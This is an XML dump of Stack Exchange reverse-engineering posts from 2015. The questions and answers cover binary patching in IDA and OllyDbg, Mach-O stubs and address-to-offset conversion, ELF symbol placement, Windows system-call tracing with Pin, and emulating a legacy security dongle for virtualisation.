  <row Id="8149" PostTypeId="1" CreationDate="2015-02-02T17:50:03.030" Score="4" ViewCount="4154" Body="&lt;p&gt;I noticed that you can't simply add an instruction in IDA. Yes, you can modify one, but not add(maybe there is such feature? Can't find it though). So I used HxD to forcibly increase the PE binary where I wanted with nops to then change the nops with what I wanted in IDA. However, I realized that screwed up all the calls and jumps that came afterwards. My question is then, how should I go on about adding instructions in a binary file? Specifically a PE one in my case. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="11615" LastActivityDate="2016-08-12T07:02:04.923" Title="adding instructions in IDA" Tags="|ida|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8152" PostTypeId="2" ParentId="8146" CreationDate="2015-02-03T04:06:47.217" Score="0" Body="&lt;p&gt;According to the official &lt;a href=&quot;http://global-download.acer.com/GDFiles/Document/QuickStartGuide/QuickStartGuide_Acer_1.0_A_A.zip?acerid=634304197158565322&amp;amp;Step1=NOTEBOOK&amp;amp;Step2=ASPIRE&amp;amp;Step3=ASPIRE%205750G&amp;amp;OS=ALL&amp;amp;LC=en&amp;amp;BC=ACER&amp;amp;SC=PA_6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quick Guide for the Acer Aspire 5750G&lt;/a&gt;, you can use &lt;kbd&gt;Fn&lt;/kbd&gt;+&lt;kbd&gt;F6&lt;/kbd&gt; to turn the backlight completely off, and you can use &lt;kbd&gt;Fn&lt;/kbd&gt;+&lt;kbd&gt;▷&lt;/kbd&gt; and &lt;kbd&gt;Fn&lt;/kbd&gt;+&lt;kbd&gt;◁&lt;/kbd&gt; to increase or decrease the screen brightness, respectively:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SlUfo.png&quot; alt=&quot;5750G&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Acer Aspire 5750G has an Intel HD Graphics 3000 integrated graphics processor. So if you need more fine-grained control over the brightness, use the Intel HD Graphics Control Panel (&lt;a href=&quot;http://global-download.acer.com/GDFiles/Driver/VGA/VGA_Intel_8.15.10.2342_W7x86W7x64_A.zip?acerid=634761931954606771&amp;amp;Step1=NOTEBOOK&amp;amp;Step2=ASPIRE&amp;amp;Step3=ASPIRE%205750G&amp;amp;OS=ALL&amp;amp;LC=en&amp;amp;BC=ACER&amp;amp;SC=PA_6&quot; rel=&quot;nofollow noreferrer&quot;&gt;latest drivers for your laptop&lt;/a&gt;) to manually adjust the backlight brightness:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Z4nm.jpg&quot; alt=&quot;Intel HD Graphics Control Panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-02-03T14:59:12.933" LastActivityDate="2015-02-03T14:59:12.933" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8153" PostTypeId="1" CreationDate="2015-02-03T08:03:05.507" Score="1" ViewCount="2351" Body="&lt;p&gt;My company has an ancient payroll system that we want to virtualise so that it can be preserved for legal reasons. The software runs on an operating system called &lt;a href=&quot;http://www.theos-software.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;THEOS&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We've run into a bit of a snag. The operating system depends on a security dongle being present to install and run. The device is a sentinel C-Plus A (see below). It connects to a parallel port and acts a passthrough device for a parallel printer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jqNze.jpg&quot; alt=&quot;Sentinel C-Plus A&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've been exploring options on how to virtualise this dongle. My plan is to somehow emulate the dongle, attach the virtual device to VMware machine and install THEOS as a VM (I already know THEOS is compatible with VMware).&lt;/p&gt;&#xA;&lt;p&gt;So far, I've managed to find &lt;a href=&quot;http://forum.exetools.com/showthread.php?t=10992&quot; rel=&quot;nofollow noreferrer&quot;&gt;this forum&lt;/a&gt; which is hosting a dumper and emulator for this dongle, but I'm not able to download it as I'm not a member (and cannot join without an invite code).&lt;/p&gt;&#xA;&lt;p&gt;I've also found &lt;a href=&quot;http://www.dongleservice.com/emulate-sentinel-cplus.phtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;this business&lt;/a&gt; that claims to be able to create an emulator for this dongle, and am in the process of contacting them about it. However, we would prefer to do this ourselves rather than go through someone else.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have any advice or experience for a situation like this? Or perhaps information on how we can access the tools hosted on the exeforums site?&lt;/p&gt;&#xA;" OwnerUserId="11652" LastEditorUserId="245" LastEditDate="2020-06-24T11:43:16.723" LastActivityDate="2020-06-24T11:43:16.723" Title="Emulating a sentinel c-plus security dongle to attach to a virtual machine" Tags="|hardware|virtual-machines|dongle|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="8154" PostTypeId="1" AcceptedAnswerId="8156" CreationDate="2015-02-03T09:41:31.820" Score="1" ViewCount="545" Body="&lt;p&gt;On Linux the &lt;em&gt;strace.so&lt;/em&gt; pintool gives a good overview on how system calls are intercepted in PIN. One could monitor the value of &lt;code&gt;EAX&lt;/code&gt; to see which system call is being invoked(and mprotect and writes could be intercepted in the fashion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could we do something similar for Windows? I see that the &lt;code&gt;int 2e&lt;/code&gt; interrupt is used to trap into the kernel and that the system calls numbers are given at &lt;a href=&quot;http://j00ru.vexillium.org/ntapi/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Is &lt;code&gt;NtWriteFile&lt;/code&gt; the analogue of &lt;code&gt;write&lt;/code&gt;? Also is &lt;code&gt;NtProtectVirtualMemory&lt;/code&gt; the analogue of &lt;code&gt;mprotect&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="1413" LastEditDate="2015-02-04T07:26:33.130" LastActivityDate="2015-02-04T12:42:42.000" Title="pintool to intercept writes and VirtualProtect" Tags="|operating-systems|pintool|system-call|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8156" PostTypeId="2" ParentId="8154" CreationDate="2015-02-03T23:33:44.733" Score="2" Body="&lt;p&gt;Pintools on Windows can also aid you in instrumenting system calls. Also, if its discovered that the cpu supports &lt;code&gt;sysenter&lt;/code&gt;/&lt;code&gt;syscall&lt;/code&gt;, those are used in place of &lt;code&gt;int 2e&lt;/code&gt;. However, this has no bearing on whether or not instrumentation can take place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your second question, yes, &lt;code&gt;NtReadFile&lt;/code&gt;, &lt;code&gt;NtWriteFile&lt;/code&gt; and &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; are the *nix equivalent of &lt;code&gt;read&lt;/code&gt;/&lt;code&gt;write&lt;/code&gt;/&lt;code&gt;ioctl&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3406" LastEditorUserId="53" LastEditDate="2015-02-04T12:42:42.000" LastActivityDate="2015-02-04T12:42:42.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8163" PostTypeId="1" AcceptedAnswerId="14064" CreationDate="2015-02-05T16:25:42.513" Score="16" ViewCount="5800" Body="&lt;p&gt;Before exposing my problem, here's my understanding of the whole thing, so that you may correct me if I'm saying something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a Mach-O file (at least on x86), the &lt;code&gt;__TEXT.__stubs&lt;/code&gt; section typically has stubs in it that all consist of a single indirect jump, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; __TEXT.__stubs&#xA;; symbol stub for unlink:&#xA;0x100000f46:  jmpq   *0xc4(%rip)&#xA;; symbol stub for puts:&#xA;0x100000f4c:  jmpq   *0xc6(%rip)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These point to a location inside the &lt;code&gt;__DATA.__nl_symbol_ptr&lt;/code&gt; section. The pointer initially goes to a stub helper in the &lt;code&gt;__TEXT.__stub_helper&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; __TEXT.__stub_helper&#xA;; stub helper for unlink&#xA;0x100000f64:  pushq  $0x0&#xA;0x100000f69:  jmp    0x100000f54&#xA;; stub helper for puts&#xA;0x100000f6e:  pushq  $0xe&#xA;0x100000f73:  jmp    0x100000f54&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The stub helper calls &lt;code&gt;dyld_stub_binder&lt;/code&gt;, which uses the pushed argument to figure out which stub it is and which function it needs to look up, then replaces the value in &lt;code&gt;__DATA.__nl_symbol_ptr&lt;/code&gt; with the resolved address, and then hand over control to the function that was found (which then returns to the calling code normally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To assist debugging, debuggers find stubs and pretend that they have symbols for them. In this example program, whenever lldb sees &lt;code&gt;call 0x100000f58&lt;/code&gt;, it determines that the stub should point to &lt;code&gt;unlink&lt;/code&gt;, and says &lt;code&gt;call 0x100000f58 ; symbol stub for: unlink&lt;/code&gt; in the disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, lldb does not use the pushed value: it appears to &lt;a href=&quot;https://github.com/llvm-mirror/lldb/blob/5b0324a42cae28a07bc3683c6757dc1533b8fa0d/source/Plugins/ObjectFile/Mach-O/ObjectFileMachO.cpp#L4375&quot; rel=&quot;noreferrer&quot;&gt;rely on the static linker placing undefined symbols and stubs in the same order&lt;/a&gt;, or some variant of that. Just like that, it looks more like a heuristic than a precise way to figure out which stub goes where, unless there's something else preventing you from tampering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I reliably find which function is called by a stub? In the stub helpers, what do the constants in &lt;code&gt;pushq $constant&lt;/code&gt; mean?&lt;/p&gt;&#xA;" OwnerUserId="11678" LastActivityDate="2017-10-09T19:26:59.817" Title="In a Mach-O executable, how can I find which function a stub targets?" Tags="|osx|symbols|mach-o|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8164" PostTypeId="1" CreationDate="2015-02-05T19:37:06.457" Score="1" ViewCount="279" Body="&lt;p&gt;Any suggestions how can I track visual changes performed through an win32 process? I have almost no knowledge how they are done. I'm currently debugging an application which uses it's own custom FONT files to drawn letters, however I can only trace the drawing at a very high-level and can't connect it with DirectX API for example. I'm also curios if it is possible to use the VS new &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/hh708963.aspx&quot; rel=&quot;nofollow&quot;&gt;Graphics Debugger&lt;/a&gt; to attach into a running process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues about how to achieve this? I have no source code of the target application and I'm using IDA Pro + API Monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm especially interested in drawing letters.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2015-02-05T19:37:06.457" Title="DirectX debugging" Tags="|debugging|visualization|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8165" PostTypeId="2" ParentId="8145" CreationDate="2015-02-05T21:47:15.277" Score="1" Body="&lt;p&gt;The quick answer is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;14 00&lt;/code&gt; are the first two bytes of a sprite. The raw bitmap data starts at offset 20, in this case with &lt;code&gt;03 00 0A 00&lt;/code&gt;. The file is RLE encoded, &lt;code&gt;03 00&lt;/code&gt; being the escape sequence and &lt;code&gt;0A 00&lt;/code&gt; is telling me that 20 pixels with &lt;code&gt;00 00&lt;/code&gt; (16 bpp) follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this information I was able to reverse engineer the sprite group.&lt;/p&gt;&#xA;" OwnerUserId="11635" LastActivityDate="2015-02-05T21:47:15.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8166" PostTypeId="1" AcceptedAnswerId="8168" CreationDate="2015-02-05T22:44:34.423" Score="1" ViewCount="833" Body="&lt;p&gt;The test is on Ubuntu 12.04, 32-bit, with &lt;code&gt;gcc&lt;/code&gt; 4.6.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I am doing some binary manipulation work on ELF binaries, and what I have to do now is to assemble a assembly program and guarantee the libc symbols are loaded to a predefined address by me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me elaborate it in an simple example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose in the original code, libc symbols &lt;code&gt;stdout@GLIBC_2.0&lt;/code&gt; is used. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main() {&#xA;    FILE* fout = stdout;&#xA;    fprintf( fout, &quot;hello\n&quot; );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I compile it and check the symbol address using these commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc main.c&#xA;readelf -s a.out | grep stdout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0804a020     4 OBJECT  GLOBAL DEFAULT   25 stdout@GLIBC_2.0 (2)&#xA;0804a020     4 OBJECT  GLOBAL DEFAULT   25 stdout@@GLIBC_2.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the &lt;code&gt;.bss&lt;/code&gt; section is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  readelf -S a.out | grep bss&#xA;  [25] .bss              NOBITS          0804a020 001014 00000c 00  WA  0   0 32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now what I am trying to do is to load the &lt;code&gt;stdout&lt;/code&gt; symbol in a predefined address, so I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;stdout = 0x804a024;&quot; &amp;gt; symbolfile&#xA;gcc -Wl,--just-symbols=symbolfile  main.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when I check the &lt;code&gt;.bss&lt;/code&gt; section and symbol &lt;code&gt;stdout&lt;/code&gt;, I got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [25] .bss              NOBITS          0804a014 001014 000008 00  WA  0   0  4&#xA;&#xA;&#xA;4: 0804a024     0 NOTYPE  GLOBAL DEFAULT  ABS stdout&#xA;49: 0804a024     0 NOTYPE  GLOBAL DEFAULT  ABS stdout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It seems that I didn't successfully load the symbol &lt;code&gt;stdout@@GLIBC_2.0&lt;/code&gt;, but just a wired &lt;code&gt;stdout&lt;/code&gt;. (I tried to write &lt;code&gt;stdout@@GLIBC_2.0&lt;/code&gt; in &lt;code&gt;symbolfile&lt;/code&gt;, but it can't compile... )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It seems that as I didn't make it, the beginning address of &lt;code&gt;.bss&lt;/code&gt; section has also changed, which makes the address of &lt;code&gt;stdout&lt;/code&gt; symbol in a non-section area. During runtime, it throws a segmentation fault when loading from &lt;code&gt;0x804a024&lt;/code&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me on how to successfully load the library symbol at a predefined address? Thanks!  &lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2015-03-08T02:18:42.310" Title="How to load library defined symbols to a specified location?" Tags="|assembly|c|elf|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8167" PostTypeId="1" CreationDate="2015-02-05T23:48:33.337" Score="2" ViewCount="517" Body="&lt;p&gt;I'm working on an iOS target. I'm effectively interested in running the program and its metadata through strings. I've noticed a simple &lt;code&gt;grep&lt;/code&gt; does not return expected results and I suspect its because of compressed/binary plist files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I search trough the IPA and dump the key value pairs from a compressed/binary plist?&lt;/p&gt;&#xA;" OwnerUserId="5853" LastActivityDate="2015-12-13T16:53:34.477" Title="Search through compressed/binary plist files in an IPA" Tags="|ios|strings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8168" PostTypeId="2" ParentId="8166" CreationDate="2015-02-06T02:01:30.733" Score="1" Body="&lt;p&gt;in the code (or in the linker command file) create a memory name (say .stdio) and give it a specific address.  then write a section statement: '.stdio' and list the 'stdio.text'  will then be the first thing in the memory .stdio section.  The linker command file can also have a global name at the .stdio section, that can be referenced from within a program.&lt;/p&gt;&#xA;" OwnerUserId="11683" LastActivityDate="2015-02-06T02:01:30.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8170" PostTypeId="2" ParentId="8163" CreationDate="2015-02-06T15:27:48.617" Score="4" Body="&lt;p&gt;the numeric argument is is an offset into the &quot;compressed dyld info&quot; stream of bytecodes. see &lt;a href=&quot;https://stackoverflow.com/a/8836580&quot;&gt;https://stackoverflow.com/a/8836580&lt;/a&gt; (iOS/arm but still applies)&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-11-28T08:49:03.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8171" PostTypeId="1" CreationDate="2015-02-06T18:21:05.047" Score="0" ViewCount="3664" Body="&lt;p&gt;in a python-script which I'm writing I need the possibility to load via IDA-Python the PDB-File of the analysed binary (PE-File).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to load a PDB-File via GUi but I need this scripted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody an idea how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greetz Daniel :-)&lt;/p&gt;&#xA;" OwnerUserId="11691" LastActivityDate="2015-02-09T16:11:18.690" Title="IDAPython load PDB-file of analysed binary" Tags="|idapython|debugging-symbols|automation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8172" PostTypeId="1" AcceptedAnswerId="16109" CreationDate="2015-02-06T20:43:57.853" Score="1" ViewCount="292" Body="&lt;p&gt;it's me again. I am working on a tool can that disassemble/reassemble stripped binaries and now I am sucked in a (external) symbol reuse issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The test is on 32-bit Linux x86 platform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I am working on a C++ program, in the &lt;code&gt;GCC&lt;/code&gt; compiler produced assembly code, there exists some instructions like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    _ZNSt8ios_baseC2Ev&#xA;movl    _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+4, %ebx&#xA;movb    $0, 312(%esp)&#xA;movl    _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+8, %ecx&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please pay special attention to symbol &lt;code&gt;_ZTTSt14basic_ifstreamIcSt11char_traitsIcEE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the compilation, suppose I get an &lt;code&gt;unstripped&lt;/code&gt; binary, and i checked this symbol like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;readelf -s a.out | grep &quot;_ZTTSt14basic&quot;&#xA;69: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)&#xA;72: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS@GLIBCXX_3.4 (3)&#xA;705: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS&#xA;1033: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See, this is my first question, &lt;strong&gt;why the name of symbol &lt;code&gt;_ZTTSt14basic_ifstreamIcSt11char_traitsIcEE&lt;/code&gt; modified to &lt;code&gt;_ZTTSt14basic_ifstreamIcS&lt;/code&gt; and &lt;code&gt;_ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)&lt;/code&gt; ?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is &lt;code&gt;_ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)&lt;/code&gt; though?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I stripped the binary like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strip a.out&#xA;readelf -s a.out | grep &quot;_ZTTSt14basic&quot;&#xA;69: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)&#xA;72: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS@GLIBCXX_3.4 (3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then after I disassemble the binary, and the corresponding disassembled assembly instructions are :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 8063ee7:       e8 84 54 fe ff          call   8049370 &amp;lt;_ZNSt8ios_baseC2Ev@plt&amp;gt;&#xA; 8063eec:       8b 1d 94 73 0a 08       mov    0x80a7394,%ebx&#xA; 8063ef2:       c6 84 24 38 01 00 00    movb   $0x0,0x138(%esp)&#xA; 8063ef9:       00&#xA; 8063efa:       8b 0d 98 73 0a 08       mov    0x80a7398,%ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point we can figure out that 0x80a7394 equals to &lt;code&gt;_ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+4&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to reuse these instructions, I modified the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call _ZNSt8ios_baseC2Ev&#xA;mov _ZTTSt14basic_ifstreamIcS+4,%ebx&#xA;movb $0x0,0x138(%esp)&#xA;mov _ZTTSt14basic_ifstreamIcS+8,%ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And did some update like these (please see this &lt;a href=&quot;https://stackoverflow.com/questions/28355292/how-to-load-library-defined-symbols-to-a-specified-location&quot;&gt;question&lt;/a&gt; for reference):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&quot;_ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)&quot; = 0x080a7390;&quot; &amp;gt; symbolfile&#xA;g++ -Wl,--just-symbols=symbolfile  final.s&#xA;&#xA;readelf -s a.out | grep &quot;_ZTTSt14basic&quot;&#xA;&#xA;3001: 080a7390     0 NOTYPE  LOCAL  DEFAULT   27 _ZTTSt14basic_ifstreamIcS&#xA;8412: 080a7390     0 NOTYPE  GLOBAL DEFAULT  ABS _ZTTSt14basic_ifstreamIcS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I debugged the newly produced binary, and to my surprise, in the newly produced binary, symbol &lt;code&gt;_ZTTSt14basic_ifstreamIcS&lt;/code&gt; does not get any value after the function call of &lt;code&gt;_ZNSt8ios_baseC2Ev&lt;/code&gt;, while in the original binary, after the function call, &lt;code&gt;_ZTTSt14basic_ifstreamIcS&lt;/code&gt; do get some memory address referring to library section.  Which means:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call _ZNSt8ios_baseC2Ev&#xA;mov _ZTTSt14basic_ifstreamIcS+4,%ebx  &amp;lt;--- %ebx gets zero!&#xA;movb $0x0,0x138(%esp)&#xA;mov _ZTTSt14basic_ifstreamIcS+8,%ecx  &amp;lt;--- %ecx gets zero!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I must state that in these lines of the original binary, registers %ebx and %ecx both gets some addresses referring to the libc section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my second question, why does symbol &lt;code&gt;_ZTTSt14basic_ifstreamIcS&lt;/code&gt; didn't get any value after function call &lt;code&gt;_ZNSt8ios_baseC2Ev&lt;/code&gt;? I also tried with symbol name &lt;code&gt;_ZTTSt14basic_ifstreamIcSt11char_traitsIcEE&lt;/code&gt;. But that does not work also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I clear enough? Could anyone save my ass? thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-08-16T13:24:09.317" Title="Reuse symbols in disassembling/reassembling a C++ program" Tags="|disassembly|assembly|elf|symbols|reassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8175" PostTypeId="2" ParentId="8149" CreationDate="2015-02-07T13:04:08.037" Score="1" Body="&lt;p&gt;It's not an easy task. You can consider adding your own section in the PE image where to write your code and data and then link them with the original code. Or else you could try producing an assembly file from the PE and then reassembling it into new PE image. I haven't tried the second option but I think it should be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first one you could use LordPE. Here are links to it (&lt;a href=&quot;https://exelab.ru/download.php?action=get&amp;amp;n=MjA=&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://www.softpedia.com/get/Programming/File-Editors/LordPE.shtml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2015-02-07T13:04:08.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8177" PostTypeId="1" AcceptedAnswerId="8183" CreationDate="2015-02-07T18:06:30.313" Score="3" ViewCount="793" Body="&lt;p&gt;this maybe total no brainer but i'm really new to this and i'd really appreciate some help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically i'm trying to patch(out aka nop) a obj-c function inside an iOS Application. I've successfully decrypted it and i'm able to disassemble it with otool. Needless to say the original application was stripped so no structure in the disassembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then heard about &lt;code&gt;class-dump-z&lt;/code&gt; which is modified version of class dump with the ability to give you the VM Address of a given Function Implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output of &lt;code&gt;class-dump-z -A&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#import &amp;lt;XXUnknownSuperclass.h&amp;gt; // Unknown library&#xA;#import &quot;SomeHeader.h&quot;&#xA;&#xA;@class NSString;&#xA;&#xA;__attribute__((visibility(&quot;hidden&quot;)))&#xA;@interface CensoredClassName : XXUnknownSuperclass &amp;lt;SomeDelegate&amp;gt; {&#xA;}&#xA;@property(readonly, copy) NSString* debugDescription;&#xA;@property(readonly, copy) NSString* description;&#xA;@property(readonly, assign) Class superclass;&#xA;@property(readonly, assign) unsigned hash;&#xA;-(void)showJailbreakAlert;  // 0x1498d &amp;lt;--Patch this Method&#xA;@end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Question: How to translate the given Implementation VM Address to binary File Offset which I can patch?&#xA;Or even better how can i find the Method in the TEXT Disassembly? Simply Searching for the offset inside the disassembly generated with the &lt;code&gt;otool -tV&lt;/code&gt; command does not return any result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in Advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Malte&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Link to Class-Dump-Z Google code Page:&lt;a href=&quot;https://code.google.com/p/networkpx/wiki/class_dump_z&amp;quot;&amp;quot;&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11699" LastEditorUserId="11699" LastEditDate="2015-02-07T18:17:45.460" LastActivityDate="2022-12-16T22:23:17.910" Title="Convert Mach-O VM Address To File Offset" Tags="|disassembly|ios|patching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8178" PostTypeId="1" AcceptedAnswerId="8180" CreationDate="2015-02-07T22:30:55.803" Score="1" ViewCount="3949" Body="&lt;p&gt;In Olly I managed to patch the file to no longer compare for a specific flag. Is it possible to automate this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I changed a JNZ to a JZ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to could do the same thing with a hex editor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end goal would be to create a program to automate this patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11700" LastActivityDate="2018-06-13T14:03:53.270" Title="OllyDBG, managed to patch file, now can I automate this?" Tags="|ollydbg|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
